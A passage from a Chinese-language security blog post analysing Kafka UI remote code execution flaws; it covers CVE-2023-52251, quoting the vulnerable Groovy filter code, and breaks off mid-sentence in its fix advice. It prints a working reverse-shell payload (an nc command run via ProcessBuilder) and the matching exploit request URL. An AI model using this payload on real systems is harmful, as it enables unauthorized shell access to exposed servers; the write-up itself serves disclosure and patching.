Kafka UI三大RCE高危漏洞分析

2024-12-21 4 0

1. 背景介绍

Kafka UI 是一款开源的 Web 应用,旨在管理和监控 Apache Kafka 集群,主要供开发者和管理员使用,提供了可视化的集群管理界面。但在默认配置中,Kafka UI 不需要身份验证即可读取和写入数据,导致许多 Kafka UI 实例在内部网络中未受保护,甚至直接暴露在互联网上。

尽管有些人可能认为暴露的 Kafka 数据并不敏感,但这种配置可能会为攻击者提供一个进入内部网络的“入口”。在安全研究中,我探索了利用 Kafka UI 的可能性,结果发现了 3 个远程代码执行(RCE)漏洞

这些漏洞在 0.7.2 版本中已修复,如果你在使用 Kafka UI,请务必升级!

2. 漏洞一:CVE-2023-52251 - 通过 Groovy 脚本执行 RCE

漏洞描述

Kafka UI 允许用户在“消息过滤”功能中使用 Groovy 脚本。攻击者可以利用这一点,通过伪造的请求在服务器上执行任意的 Groovy 脚本,最终实现 远程代码执行 (RCE)

漏洞详情

MessageFilters.java代码中,GROOVY_SCRIPT过滤类型会直接执行 Groovy 脚本:

public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {switch (type) {case STRING_CONTAINS:return containsStringFilter(query);case GROOVY_SCRIPT:return groovyScriptFilter(query); // 存在漏洞点default:throw new IllegalStateException("Unknown query type: " + type);}}

利用方法

  1. 在 Kafka UI 中,前往集群页面,选择一个主题 (Topic),点击“消息 (Messages)”选项卡。
  2. 新建一个 Groovy 过滤器,输入以下脚本:
new ProcessBuilder("nc", "host.docker.internal", "1234", "-e", "sh").start()

这段代码会在目标服务器上运行反向 Shell,从而获得控制权。请求示例如下:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT

修复建议

  • 升级到 0.7.2 版本,这会禁用对 Groovy 脚本的执行。
  • 不要在生产

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Matildapp:针对Web 3.0环境的网络安全与渗透测试框架
Jumpserver_decrypto: 解密 Jumpserver ssh配置的开源工具
向日葵远程控制软件远程代码执行漏洞复现(CNVD-2022-10270, CNVD-2022-03672)
PbootCMS V3.2.9前台SQL注入漏洞(上)
修复秘籍:如何有效应对CVE-2024-20767和CVE-2024-21216漏洞
新观点!CISO们无需迷信LLMs

发布评论